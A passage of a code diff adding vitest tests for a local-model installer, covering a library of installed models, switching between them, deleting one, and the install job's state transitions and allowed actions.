+    const asLauncher = (id: string): CliEntry | undefined => {
+      const entry = getCli(id);
+      return entry
+        ? { ...entry, discovery: { ...entry.discovery, launcherProfile: launcher.discovery.launcherProfile } }
+        : entry;
+    };
+    const [made] = await buildHarnessFacts(catalogWith(['opencode']), {
+      getCli: asLauncher,
+      probeInstalled: installedOnly(),
+      installCommandFor: darwinCommand,
+    });
+    expect(made.installable).toBe(false);
+  });
+
+  it('readyMark: the registry’s composer mark, only when it is one literal without white space', async () => {
+    const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'deepseek']), {
+      probeInstalled: installedOnly(),
+    });
+    const byCli = new Map(facts.map((f) => [f.cli, f]));
+    expect(byCli.get('claude')?.readyMark).toBe(stockEntry('claude').capabilities.composerReadyMark);
+    expect(byCli.get('deepseek')?.readyMark).toBe('❯');
+    // The registry declares none for opencode: the catalogue row carries the measured one.
+    expect(stockEntry('opencode').capabilities.composerReadyMark).toBeUndefined();
+    expect(byCli.get('opencode')).not.toHaveProperty('readyMark');
+
+    const spaced = (id: string): CliEntry | undefined => {
+      const entry = getCli(id);
+      return entry
+        ? { ...entry, capabilities: { ...entry.capabilities, composerReadyMark: '/ commands · ? help' } }
+        : entry;
+    };
+    const [fact] = await buildHarnessFacts(catalogWith(['opencode']), {
+      getCli: spaced,
+      probeInstalled: installedOnly(),
+    });
+    expect(fact).not.toHaveProperty('readyMark');
+  });
+
   it('installable is false without an install command, for a sudo command, and for a custom entry', async () => {
     const command = vi.fn<(entry: CliEntry) => string | undefined>();
     command.mockReturnValueOnce(undefined);

test/local-model-install-e2e.test.ts

@@ -345,7 +345,7 @@ describe('the install from the first GET to Remove, real modules over a fake run
       endpointId: 'local-ollama',
       folder: world.paths.root,
       loaded: { context: pick.context, onGpu: true },
-      actions: ['start-session', 'stop', 'remove'],
+      actions: ['start-session', 'stop', 'install', 'remove'],
       runtime: { installed: true, downloadBytes: 0, downloadGb: formatGb(0) },
     });
 
@@ -682,6 +682,154 @@ describe('the install from the first GET to Remove, real modules over a fake run
   }, 60_000);
 });
 
+describe('the library: a second model, the switch back, and the delete of one model', () => {
+  it('installs A, adds B beside it, switches back to A, and deletes B, with one model in use throughout', async () => {
+    const { app, get, settled, install: clickInstall } = await routes();
+    const hostsModels = async () =>
+      (await readCustomModelHosts(getDataDir())).find((host) => host.id === 'local-ollama')?.models;
+    const post = (url: string, payload: unknown) => app.inject({ method: 'POST', url, payload: payload as object });
+    const deleteModel = (modelId: string) =>
+      app.inject({ method: 'DELETE', url: '/api/local-model/models', payload: { modelId } });
+
+    // ---- A: the first install ----
+    world.agentInstalled = true;
+    const first = await get();
+    const a = first.recommendation.pick!;
+    const bRow = first.recommendation.alternatives[0];
+    expect(bRow).toBeDefined();
+    expect(bRow.modelId).not.toBe(a.modelId);
+    const B_DIGEST = 'b'.repeat(64);
+    world.runtime = createFakeOllama({
+      model: { id: a.modelId, bytes: a.downloadBytes },
+      contextLength: a.context,
+      otherModels: [
+        {
+          id: bRow.modelId,
+          bytes: bRow.downloadBytes,
+          digest: B_DIGEST,
+          format: 'gguf',
+          runner: 'ggml',
+          quantization: 'Q4_K_M',
+          capabilities: ['completion', 'tools'],
+        },
+      ],
+    });
+    const runtime = world.runtime;
+    expect((await clickInstall(a)).statusCode).toBe(200);
+    expect((await settled()).state).toBe('installed');
+
+    let status = await get();
+    expect(status.install.library).toEqual([
+      {
+        id: a.modelId,
+        label: a.modelLabel,
+        context: a.context,
+        sizeBytes: a.downloadBytes,
+        sizeGb: formatGb(a.downloadBytes),
+        active: true,
+        verified: true,
+        status: 'ready',
+        actions: [],
+      },
+    ]);
+    // The store of the fake runtime writes no blobs: measured, and empty.
+    expect(status.install.store).toEqual({ bytes: 0, gb: '0.0' });
+    // The chooser says the row is the model in use.
+    expect(status.recommendation.pick?.library).toBe('active');
+    expect(status.install.actions).toEqual(['start-session', 'stop', 'install', 'remove']);
+
+    // ---- B: a second model. Refused while a session uses A. ----
+    const b = [status.recommendation.pick!, ...status.recommendation.alternatives].find(
+      (row) => row.modelId === bRow.modelId
+    )!;
+    // The runtime is on disk now, so the server's total for B is the model alone.
+    expect(b.installBytes).toBe(b.downloadBytes);
+    const addB = { modelId: b.modelId, cli: 'opencode', context: b.context, acknowledgedBytes: b.installBytes };
+    world.sessions.set('s1', { name: 'w1-app', customModel: { endpointId: 'local-ollama' } });
+    const busy = await post('/api/local-model/install', addB);
+    expect(busy.statusCode).toBe(409);
+    expect(busy.json().data).toMatchObject({ reason: 'sessions-open', sessions: ['w1-app'] });
+    expect(runtime.state.pulls).toBe(1);
+    world.sessions.clear();
+
+    // The fake runtime reports the context it was "started with": B's from here on.
+    runtime.switches.ps.contextLength = b.context;
+    const started = await post('/api/local-model/install', addB);
+    expect(started.statusCode).toBe(200);
+    expect(started.json().data).toMatchObject({ state: 'installing', model: { id: b.modelId } });
+    const withB = await settled();
+    expect(withB.error).toBeUndefined();
+    expect(withB).toMatchObject({
+      state: 'installed',
+      model: { id: b.modelId, label: b.modelLabel },
+      context: b.context,
+      endpointId: 'local-ollama',
+    });
+    // Both are on disk, A was not deleted, and the ONE endpoint record lists the model in use.
+    expect(runtime.state.installed).toBe(true);
+    expect(runtime.state.others).toEqual([b.modelId]);
+    expect(await hostsModels()).toEqual([b.modelId]);
+    expect(runtime.requests.some((request) => request.path === '/api/delete')).toBe(false);
+    await vi.waitFor(async () => {
+      const library = (await get()).install.library;
+      expect(library.map((row) => [row.id, row.active, row.status, row.actions])).toEqual([
+        [b.modelId, true, 'ready', []],
+        [a.modelId, false, 'ready', ['use', 'delete']],
+      ]);
+    });
+    const stored = await readLocalModelState();
+    expect(stored.library?.map((entry) => [entry.id, entry.context, entry.digest])).toEqual([
+      [a.modelId, a.context, runtime.model.digest],
+      [b.modelId, b.context, B_DIGEST],
+    ]);
+    // Only the model in use may be launched on the endpoint.
+    expect(await world.service.launchRefusalMessage('local-ollama', b.modelId)).toBeUndefined();
+    expect(await world.service.launchRefusalMessage('local-ollama', a.modelId)).toContain('is in use on this Mac');
+
+    // ---- The model in use cannot be deleted ----
+    const active = await deleteModel(b.modelId);
+    expect(active.statusCode).toBe(409);
+    expect(active.json().data).toMatchObject({ reason: 'model-active' });
+    expect(runtime.state.others).toEqual([b.modelId]);
+
+    // ---- Back to A: nothing is downloaded ----
+    status = await get();
+    expect(status.recommendation.pick?.library ?? status.recommendation.alternatives[0].library).toBeDefined();
+    world.sessions.set('s1', { name: 'w1-app', customModel: { endpointId: 'local-ollama' } });
+    const useBusy = await post('/api/local-model/use', { modelId: a.modelId });
+    expect(useBusy.statusCode).toBe(409);
+    expect(useBusy.json().data).toMatchObject({ reason: 'sessions-open' });
+    world.sessions.clear();
+
+    runtime.switches.ps.contextLength = a.context;
+    const pullsBefore = runtime.state.pulls;
+    const switched = await post('/api/local-model/use', { modelId: a.modelId });
+    expect(switched.statusCode).toBe(200);
+    expect(switched.json().data).toMatchObject({ state: 'installing', steps: ['verify', 'connect'] });
+    const backOnA = await settled();
+    expect(backOnA.error).toBeUndefined();
+    expect(backOnA).toMatchObject({ state: 'installed', model: { id: a.modelId }, context: a.context });
+    expect(runtime.state.pulls).toBe(pullsBefore);
+    expect(await hostsModels()).toEqual([a.modelId]);
+    expect(await world.service.launchRefusalMessage('local-ollama', a.modelId)).toBeUndefined();
+
+    // ---- Delete B: through the runtime, by its name ----
+    const notOurs = await deleteModel('someone-else:7b');
+    expect(notOurs.statusCode).toBe(400);
+    const gone = await deleteModel(b.modelId);
+    expect(gone.statusCode).toBe(200);
+    expect(gone.json().data.library.map((row: { id: string }) => row.id)).toEqual([a.modelId]);
+    expect(runtime.state.others).toEqual([]);
+    expect(runtime.state.installed).toBe(true);
+    const deletes = runtime.requests.filter((request) => request.path === '/api/delete');
+    expect(deletes.map((request) => request.body)).toEqual([{ model: b.modelId }]);
+    expect((await readLocalModelState()).library?.map((entry) => entry.id)).toEqual([a.modelId]);
+    expect((await get()).install.actions).toEqual(['start-session', 'stop', 'install', 'remove']);
+    // A is in use: it can only go with the whole installation.
+    expect((await deleteModel(a.modelId)).statusCode).toBe(409);
+  });
+});
+
 describe('a server that is killed leaves its runtime running: the next server never deletes under it', () => {
   /**
    * Installs up to the model download, then "kills" the server: its job stops and it signals

test/local-model-install-job.test.ts

@@ -16,14 +16,20 @@ import { describe, expect, it } from 'vitest';
 import {
   allowedActions,
   buildInstallError,
+  buildHarnessRows,
   buildInstallView,
+  buildLibraryRows,
   formatInstallMessage,
   INSTALL_STATE_TABLE,
   INSTALL_STEP_TABLE,
   INSTALL_TRANSITIONS,
   installedBlocker,
   jobSteps,
+  libraryOf,
+  markLibraryCandidates,
   reduceInstallJob,
+  upsertLibraryEntry,
+  USE_JOB_STEPS,
   type InstallJobEvent,
   type InstallJobEventType,
   type InstallLiveFacts,
@@ -34,16 +40,21 @@ import {
   LOCAL_MODEL_ERROR_NEXT,
   LOCAL_MODEL_INSTALL_LABELS,
   LOCAL_MODEL_INSTALL_STEPS,
+  type HarnessFact,
+  type LocalHarnessEntry,
   type LocalModelAction,
   type LocalModelErrorCode,
   type LocalModelInstallState,
   type LocalModelInstallStep,
+  type LocalModelLibraryEntry,
   type LocalModelStateFile,
+  type Recommendation,
 } from '../src/types.js';
 
 const STATES: LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed'];
 const EVENT_TYPES: InstallJobEventType[] = [
   'install',
+  'use',
   'progress',
   'step-done',
   'fail',
@@ -60,6 +71,48 @@ const RUNTIME = { version: '0.40.15', port: 11435, pid: 4711, enabled: true, mea
 const CONNECTION = { endpointId: 'local-ollama', flagWasEnabled: false };
 const LOADED = { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 };
 
+/** The model in use as the library lists it, and a second checked model beside it. */
+const ENTRY: LocalModelLibraryEntry = {
+  id: MODEL.id,
+  label: MODEL.label,
+  context: MODEL.context,
+  digest: 'abc123',
+  bytes: 23_105_798_956,
+  cli: CLI,
+};
+const OTHER: LocalModelLibraryEntry = {
+  id: 'qwen3.8:27b-mtp-q4_k_m',
+  label: 'Qwen3.8 27B',
+  context: 65536,
+  digest: 'def456',
+  bytes: 17_741_872_154,
+  cli: CLI,
+};
+
+/** The two as rows of the view, while nothing is known from the runtime. */
+const ENTRY_ROW = {
+  id: ENTRY.id,
+  label: ENTRY.label,
+  context: ENTRY.context,
+  sizeBytes: 23_105_798_956,
+  sizeGb: '23.1',
+  active: true,
+  verified: true,
+  status: 'ready',
+  actions: [],
+};
+const OTHER_ROW = {
+  id: OTHER.id,
+  label: OTHER.label,
+  context: OTHER.context,
+  sizeBytes: 17_741_872_154,
+  sizeGb: '17.7',
+  active: false,
+  verified: true,
+  status: 'ready',
+  actions: ['use'],
+};
+
 const JOB: LocalModelStateFile = {
   schema: 1,
   state: 'installing',
@@ -69,6 +122,8 @@ const JOB: LocalModelStateFile = {
   cli: CLI,
   runtime: RUNTIME,
   progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 },
+  // An earlier install left one checked model: what `use` can go back to.
+  library: [OTHER],
 };
 
 /** One state file of each state, as the job leaves it. */
@@ -84,6 +139,7 @@ const SAMPLE: Record<LocalModelInstallState, LocalModelStateFile> = {
     cli: CLI,
     runtime: RUNTIME,
     loaded: LOADED,
+    library: [OTHER],
     connection: CONNECTION,
   },
 };
@@ -96,6 +152,11 @@ const EVENT: Record<InstallJobEventType, InstallJobEvent> = {
     cli: { id: 'claude', label: 'Claude Code' },
     steps: ['runtime', 'model', 'verify', 'connect'],
   },
+  use: {
+    type: 'use',
+    model: { id: OTHER.id, label: OTHER.label, context: OTHER.context, digest: OTHER.digest },
+    cli: CLI,
+  },
   progress: { type: 'progress', completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 },
   'step-done': { type: 'step-done' },
   fail: { type: 'fail', code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' },
@@ -151,12 +212,17 @@ describe('the tables', () => {
         cancel: 'paused',
         restart: 'paused',
       },
-      paused: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'paused' },
-      failed: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'failed' },
-      installed: { remove: 'idle', restart: 'installed' },
+      paused: { resume: 'installing', install: 'installing', use: 'installing', remove: 'idle', restart: 'paused' },
+      failed: { resume: 'installing', install: 'installing', use: 'installing', remove: 'idle', restart: 'failed' },
+      installed: { install: 'installing', use: 'installing', remove: 'idle', restart: 'installed' },
     });
   });
 
+  it('a switch is the two steps that load and connect a model, and downloads nothing', () => {
+    expect(USE_JOB_STEPS).toEqual(['verify', 'connect']);
+    for (const step of USE_JOB_STEPS) expect(INSTALL_STEP_TABLE[step].progress).toBe(false);
+  });
+
   it('every step row names error codes that exist, each with a sentence and a next step', () => {
     for (const step of LOCAL_MODEL_INSTALL_STEPS) {
       const row = INSTALL_STEP_TABLE[step];
@@ -221,10 +287,10 @@ describe('reduceInstallJob: every state with every event, from the transition ta
     }
   }
 
-  it('covers all 40 pairs, 18 of them listed', () => {
+  it('covers all 45 pairs, 22 of them listed', () => {
     const listed = STATES.flatMap((state) => Object.keys(INSTALL_TRANSITIONS[state]));
-    expect(STATES.length * EVENT_TYPES.length).toBe(40);
-    expect(listed).toHaveLength(18);
+    expect(STATES.length * EVENT_TYPES.length).toBe(45);
+    expect(listed).toHaveLength(22);
   });
 });
 
@@ -246,11 +312,15 @@ describe('the state table agrees with the reducer and the view', () => {
     const row = INSTALL_STATE_TABLE[state];
     const accepts = (type: InstallJobEventType) => INSTALL_TRANSITIONS[state][type] !== undefined;
     expect(row.actions.includes('install')).toBe(accepts('install'));
+    expect(row.actions.includes('use')).toBe(accepts('use'));
     expect(row.actions.includes('cancel')).toBe(accepts('cancel'));
     expect(row.actions.includes('resume')).toBe(accepts('resume'));
-    // Remove is refused only while a job runs. From idle it only clears leftovers, so the
-    // window offers no button for it there.
-    if (state !== 'idle') expect(row.actions.includes('remove')).toBe(accepts('remove'));
+    // Remove is refused only while a job runs. From idle it only clears what an earlier
+    // Remove kept, and the view lists it there only while the store holds something.
+    expect(row.actions.includes('remove')).toBe(accepts('remove'));
+    // A model is deleted through the runtime, which a state without a job in flight and with
+    // a runtime set up can have: never idle (no runtime), never while a job runs.
+    expect(row.actions.includes('delete-model')).toBe(state !== 'idle' && state !== 'installing');
     // The runtime and a session are things of an installed model only.
     for (const action of ['start', 'stop', 'start-session'] as LocalModelAction[]) {
       expect(row.actions.includes(action)).toBe(state === 'installed');
@@ -292,6 +362,7 @@ describe('reduceInstallJob: what each event writes', () => {
       replacedModelId: 'qwen3.6:35b-a3b',
       cli: { id: 'claude', label: 'Claude Code' },
       runtime: RUNTIME,
+      library: [OTHER],
       connection: CONNECTION,
     });
     // Gone: the error, the progress, what the runtime had loaded.
@@ -421,32 +492,65 @@ describe('reduceInstallJob: what each event writes', () => {
 });
 
 describe('allowedActions', () => {
-  it('outside installed it is the state row, whatever is live', () => {
-    for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
-      expect(allowedActions(SAMPLE[state], { ...LIVE, running: true, gaveUp: true, portInUse: true })).toEqual([
-        ...INSTALL_STATE_TABLE[state].actions,
-      ]);
-    }
-    expect(allowedActions(SAMPLE.idle, LIVE)).toEqual(['install']);
+  it('outside installed the runtime, the port and the digest narrow nothing', () => {
+    const busy = { ...LIVE, running: true, gaveUp: true, portInUse: true };
+    expect(allowedActions(SAMPLE.installing, busy)).toEqual(['cancel']);
     expect(allowedActions(SAMPLE.installing, LIVE)).toEqual(['cancel']);
-    expect(allowedActions(SAMPLE.paused, LIVE)).toEqual(['resume', 'install', 'remove']);
-    expect(allowedActions(SAMPLE.failed, LIVE)).toEqual(['resume', 'install', 'remove']);
+    for (const state of ['paused', 'failed'] as const) {
+      // `use` because a checked model is there; no delete while nothing is known from the runtime.
+      expect(allowedActions(SAMPLE[state], busy)).toEqual(['resume', 'install', 'use', 'remove']);
+      expect(allowedActions(SAMPLE[state], LIVE)).toEqual(['resume', 'install', 'use', 'remove']);
+    }
   });
 
-  it('installed and running: a session can be started and the runtime stopped', () => {
+  it('idle: Remove is offered only while the model store still holds something', () => {
+    expect(allowedActions(SAMPLE.idle, LIVE)).toEqual(['install']);
+    expect(allowedActions(SAMPLE.idle, { ...LIVE, storeBytes: 0 })).toEqual(['install']);
+    expect(allowedActions(SAMPLE.idle, { ...LIVE, storeBytes: 23_105_798_956 })).toEqual(['install', 'remove']);
+  });
+
+  it('use and delete-model are listed only while a row of the library offers them', () => {
+    // A first job: no checked model yet, so nothing to switch to and nothing to delete.
+    const first: LocalModelStateFile = { ...SAMPLE.paused, library: undefined };
+    expect(allowedActions(first, LIVE)).toEqual(['resume', 'install', 'remove']);
+    // The runtime lists the other model: it can be deleted as well as switched to.
+    const tags = [{ name: OTHER.id, size: 17_741_872_154, digest: OTHER.digest }];
+    expect(allowedActions(SAMPLE.paused, { ...LIVE, running: true, tags })).toEqual([
+      'resume',
+      'install',
+      'use',
+      'delete-model',
+      'remove',
+    ]);
+    // The rows it was given decide, when it is given them.
+    expect(allowedActions(SAMPLE.paused, { ...LIVE, running: true, tags }, [])).toEqual([
+      'resume',
+      'install',
+      'remove',
+    ]);
+  });
+
+  it('installed and running: a session can be started, the runtime stopped, a model added', () => {
     expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toEqual([
       'start-session',
       'stop',
+      'install',
+      'use',
       'remove',
     ]);
   });
 
   it('installed and stopped: it can be started, and no session is offered', () => {
-    expect(allowedActions(SAMPLE.installed, LIVE)).toEqual(['start', 'remove']);
+    expect(allowedActions(SAMPLE.installed, LIVE)).toEqual(['start', 'install', 'use', 'remove']);
   });
 
   it('installed and running a model that changed: no session', () => {
-    expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual(['stop', 'remove']);
+    expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual([
+      'stop',
+      'install',
+      'use',
+      'remove',
+    ]);
   });
 
   it('a digest that could not be read does not hide the session button: the launch itself reads it again', () => {
@@ -456,8 +560,8 @@ describe('allowedActions', () => {
 
   it('never returns the table row itself', () => {
     const actions = allowedActions(SAMPLE.idle, LIVE);
-    actions.push('remove');
-    expect(INSTALL_STATE_TABLE.idle.actions).toEqual(['install']);
+    actions.push('cancel');
+    expect(INSTALL_STATE_TABLE.idle.actions).toEqual(['install', 'remove']);
   });
 });
 
@@ -535,10 +639,21 @@ describe('buildInstallView', () => {
         unpackedGb: '0.6',
       },
       folder: '/Users/me/.codeman/local-model',
+      library: [],
+      harnesses: [],
       actions: ['install'],
     });
   });
 
+  it('idle with a store an earlier Remove kept: its size, and Remove to free it', () => {
+    const view = buildInstallView(SAMPLE.idle, { ...LIVE, storeBytes: 23_105_798_956 });
+    expect(view.store).toEqual({ bytes: 23_105_798_956, gb: '23.1' });
+    expect(view.library).toEqual([]);
+    expect(view.actions).toEqual(['install', 'remove']);
+    // A store that was measured as empty is said as that, and offers nothing.
+    expect(buildInstallView(SAMPLE.idle, { ...LIVE, storeBytes: 0 }).store).toEqual({ bytes: 0, gb: '0.0' });
+  });
+
   it('once the runtime is unpacked an install downloads nothing for it', () => {
     const view = buildInstallView(SAMPLE.idle, { ...LIVE, runtimeInstalled: true });
     expect(view.runtime).toEqual({
@@ -564,6 +679,9 @@ describe('buildInstallView', () => {
         unpackedGb: '0.6',
       },
       folder: '/Users/me/.codeman/local-model',
+      // The checked model of an earlier install: listed, with nothing to do while a job runs.
+      library: [{ ...OTHER_ROW, actions: [] }],
+      harnesses: [],
       actions: ['cancel'],
       model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
       context: 131072,
@@ -593,7 +711,9 @@ describe('buildInstallView', () => {
       completedGb: '6.2',
       totalGb: '23.1',
     });
-    expect(view.actions).toEqual(['resume', 'install', 'remove']);
+    expect(view.actions).toEqual(['resume', 'install', 'use', 'remove']);
+    // The way back from a job that stopped: the model that was checked before.
+    expect(view.library).toEqual([OTHER_ROW]);
   });
 
   it('a speed of zero has no time left, and a download without a total has no progress at all', () => {
@@ -677,7 +797,11 @@ describe('buildInstallView', () => {
       developerTools: 'present',
       runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' },
       folder: '/Users/me/.codeman/local-model',
-      actions: ['start-session', 'stop', 'remove'],
+      library: [ENTRY_ROW, OTHER_ROW],
+      // The live facts name no coding agents here (unknown): none is listed, and a session is
+      // still offered.
+      harnesses: [],
+      actions: ['start-session', 'stop', 'install', 'use', 'remove'],
       model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
       context: 131072,
       cli: 'opencode',
@@ -692,7 +816,9 @@ describe('buildInstallView', () => {
     const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' });
     expect(view.state).toBe('installed');
     expect(view.error?.code).toBe('model-changed');
-    expect(view.actions).toEqual(['stop', 'remove']);
+    expect(view.actions).toEqual(['stop', 'install', 'use', 'remove']);
+    // The row of the model in use says the same thing the error does.
+    expect(view.library[0]).toMatchObject({ id: MODEL.id, active: true, status: 'changed' });
   });
 
   it('a model that was not all on the GPU says so', () => {
@@ -713,6 +839,509 @@ describe('buildInstallView', () => {
   });
 });
 
+describe('reduceInstallJob: the library', () => {
+  it('libraryOf: the list of the file, and for an installed file without one its model', () => {
+    expect(libraryOf(SAMPLE.idle)).toEqual([]);
+    expect(libraryOf(SAMPLE.paused)).toEqual([OTHER]);
+    // A file an earlier build wrote: the model in use is the library.
+    const old: LocalModelStateFile = { ...SAMPLE.installed, library: undefined };
+    expect(libraryOf(old)).toEqual([ENTRY]);
+    // The model in use is always one of them, first, also when the list does not name it.
+    expect(libraryOf(SAMPLE.installed)).toEqual([ENTRY, OTHER]);
+    // Never twice, and the list's own entry wins.
+    const listed: LocalModelStateFile = { ...SAMPLE.installed, library: [OTHER, { ...ENTRY, context: 65536 }] };
+    expect(libraryOf(listed)).toEqual([OTHER, { ...ENTRY, context: 65536 }]);
+    // A model without a stored digest could never be compared: it is not one of them.
+    const noDigest: LocalModelStateFile = { ...SAMPLE.installed, library: undefined, model: MODEL };
+    expect(libraryOf(noDigest)).toEqual([]);
+    // A job's model is not in the library before it was checked.
+    expect(libraryOf({ ...SAMPLE.installing, library: undefined })).toEqual([]);
+  });
+
+  it('libraryOf hands out a list of its own', () => {
+    const list = libraryOf(SAMPLE.paused);
+    list.pop();
+    expect(SAMPLE.paused.library).toEqual([OTHER]);
+  });
+
+  it('upsertLibraryEntry replaces the entry with the same id in place, else adds at the end', () => {
+    const next = { ...OTHER, digest: 'fff', context: 131072 };
+    expect(upsertLibraryEntry([ENTRY, OTHER], next)).toEqual([ENTRY, next]);
+    expect(upsertLibraryEntry([ENTRY], OTHER)).toEqual([ENTRY, OTHER]);
+    expect(upsertLibraryEntry([], OTHER)).toEqual([OTHER]);
+  });
+
+  it('an install from installed adds a model: the model in use stays in the library and is NOT deleted', () => {
+    const next = reduceInstallJob(SAMPLE.installed, EVENT.install);
+    expect(next).toEqual({
+      schema: 1,
+      state: 'installing',
+      step: 'runtime',
+      steps: ['runtime', 'model', 'verify', 'connect'],
+      model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
+      cli: { id: 'claude', label: 'Claude Code' },
+      runtime: RUNTIME,
+      // The model that was in use is written into the list: its state member is the new job's now.
+      library: [ENTRY, OTHER],
+      connection: CONNECTION,
+    });
+    expect(next).not.toHaveProperty('replacedModelId');
+    expect(next).not.toHaveProperty('loaded');
+  });
+
+  it('an install from an installed file of an earlier build keeps its one model too', () => {
+    const old: LocalModelStateFile = { ...SAMPLE.installed, library: undefined };
+    const next = reduceInstallJob(old, EVENT.install);
+    expect(next.library).toEqual([ENTRY]);
+    expect(next).not.toHaveProperty('replacedModelId');
+  });
+
+  it('a replaced job deletes its model only when that model was never checked', () => {
+    // The stopped job's model is a checked one (it failed after its check): it stays.
+    const checked: LocalModelStateFile = { ...SAMPLE.failed, library: [OTHER, ENTRY] };
+    expect(reduceInstallJob(checked, EVENT.install)).not.toHaveProperty('replacedModelId');
+    // Not checked: what it left is deleted, as before.
+    expect(reduceInstallJob(SAMPLE.failed, EVENT.install).replacedModelId).toBe(MODEL.id);
+    // A leftover that is waiting to be deleted is dropped from the wait once it is a checked model.
+    const waiting: LocalModelStateFile = { ...SAMPLE.paused, replacedModelId: OTHER.id };
+    expect(reduceInstallJob(waiting, { ...EVENT.install, model: MODEL } as InstallJobEvent)).not.toHaveProperty(
+      'replacedModelId'
+    );
+  });
+
+  it('use from installed: the two steps for the checked model, with its stored digest', () => {
+    expect(reduceInstallJob(SAMPLE.installed, EVENT.use)).toEqual({
+      schema: 1,
+      state: 'installing',
+      step: 'verify',
+      steps: ['verify', 'connect'],
+      model: { id: OTHER.id, label: OTHER.label, context: OTHER.context, digest: OTHER.digest },
+      cli: CLI,
+      runtime: RUNTIME,
+      library: [ENTRY, OTHER],
+      connection: CONNECTION,
+    });
+  });
+
+  it('use from a stopped job replaces it, and deletes what that job left of an unchecked model', () => {
+    for (const state of ['paused', 'failed'] as const) {
+      const next = reduceInstallJob(SAMPLE[state], EVENT.use);
+      expect(next.state).toBe('installing');
+      expect(next.step).toBe('verify');
+      expect(next.model?.id).toBe(OTHER.id);
+      expect(next.replacedModelId).toBe(MODEL.id);
+      expect(next).not.toHaveProperty('error');
+      expect(next).not.toHaveProperty('progress');
+      expect(next.library).toEqual([OTHER]);
+    }
+  });
+
+  it('refuses a use it cannot apply: a model that is not in the library, a state without a runtime', () => {
+    const unknown = { ...EVENT.use, model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536, digest: 'x' } };
+    expect(reduceInstallJob(SAMPLE.installed, unknown as InstallJobEvent)).toBe(SAMPLE.installed);
+    const noRuntime: LocalModelStateFile = { ...SAMPLE.paused, runtime: undefined };
+    expect(reduceInstallJob(noRuntime, EVENT.use)).toBe(noRuntime);
+  });
+
+  it('every event but remove carries the library', () => {
+    const job = SAMPLE.installing;
+    expect(reduceInstallJob(job, EVENT.progress).library).toEqual([OTHER]);
+    expect(reduceInstallJob(job, EVENT['step-done']).library).toEqual([OTHER]);
+    expect(reduceInstallJob(job, EVENT.fail).library).toEqual([OTHER]);
+    expect(reduceInstallJob(job, EVENT.cancel).library).toEqual([OTHER]);
+    expect(reduceInstallJob(job, EVENT.restart).library).toEqual([OTHER]);
+    expect(reduceInstallJob(SAMPLE.failed, EVENT.resume).library).toEqual([OTHER]);
+    const last: LocalModelStateFile = { ...job, step: 'connect', library: [OTHER, ENTRY], connection: CONNECTION };
+    expect(reduceInstallJob(last, EVENT['step-done'])).toMatchObject({ state: 'installed', library: [OTHER, ENTRY] });
+    expect(reduceInstallJob(SAMPLE.installed, EVENT.remove)).toEqual({ schema: 1, state: 'idle' });
+  });
+});
+
+describe('buildLibraryRows', () => {
+  const tagOf = (entry: LocalModelLibraryEntry, extra: Partial<{ size: number; digest: string }> = {}) => ({
+    name: entry.id,
+    size: entry.bytes ?? 0,
+    digest: entry.digest,
+    ...extra,
+  });
+
+  it('is empty in idle, whatever is live', () => {
+    expect(buildLibraryRows(SAMPLE.idle, { ...LIVE, running: true, tags: [tagOf(OTHER)] })).toEqual([]);
+  });
+
+  it('the runtime stopped: the checked models as they were recorded, a switch, and no delete', () => {
+    expect(buildLibraryRows(SAMPLE.installed, LIVE)).toEqual([ENTRY_ROW, OTHER_ROW]);
+    // A listing that is still around from before the stop is not trusted.
+    expect(buildLibraryRows(SAMPLE.installed, { ...LIVE, running: false, tags: [] })).toEqual([ENTRY_ROW, OTHER_ROW]);
+  });
+
+  it('the runtime running: its sizes, and a delete for every model but the one in use', () => {
+    const rows = buildLibraryRows(SAMPLE.installed, {
+      ...LIVE,
+      running: true,
+      tags: [tagOf(ENTRY, { size: 23_105_800_000 }), tagOf(OTHER)],
+    });
+    expect(rows).toEqual([
+      { ...ENTRY_ROW, sizeBytes: 23_105_800_000 },
+      { ...OTHER_ROW, actions: ['use', 'delete'] },
+    ]);
+  });
+
+  it('the model in use comes first, wherever the list has it', () => {
+    const state: LocalModelStateFile = { ...SAMPLE.installed, library: [OTHER, ENTRY] };
+    expect(buildLibraryRows(state, LIVE).map((row) => row.id)).toEqual([ENTRY.id, OTHER.id]);
+  });
+
+  it('a checked model whose digest the runtime no longer reports: changed, never switched to, deletable', () => {
+    const rows = buildLibraryRows(SAMPLE.installed, {
+      ...LIVE,
+      running: true,
+      tags: [tagOf(ENTRY), tagOf(OTHER, { digest: 'somethingelse' })],
+    });
+    expect(rows[1]).toMatchObject({ id: OTHER.id, status: 'changed', verified: true, actions: ['delete'] });
+    // The digest is compared without its prefix and its case, like everywhere else.
+    const same = buildLibraryRows(SAMPLE.installed, {
+      ...LIVE,
+      running: true,
+      tags: [tagOf(ENTRY), tagOf(OTHER, { digest: 'sha256:DEF456' })],
+    });
+    expect(same[1].status).toBe('ready');
+  });
+
+  it('a checked model the runtime no longer lists: missing, with its recorded size, and its entry can be dropped', () => {
+    const rows = buildLibraryRows(SAMPLE.installed, { ...LIVE, running: true, tags: [tagOf(ENTRY)] });
+    expect(rows[1]).toEqual({ ...OTHER_ROW, status: 'missing', actions: ['delete'] });
+  });
+
+  it('what the runtime lists beside the checked models: not checked, deletable, never switched to', () => {
+    const rows = buildLibraryRows(SAMPLE.installed, {
+      ...LIVE,
+      running: true,
+      labels: { 'mimo-v2.6:9b-q4_k_m': 'MiMo V2.6 9B' },
+      tags: [
+        tagOf(ENTRY),
+        tagOf(OTHER),
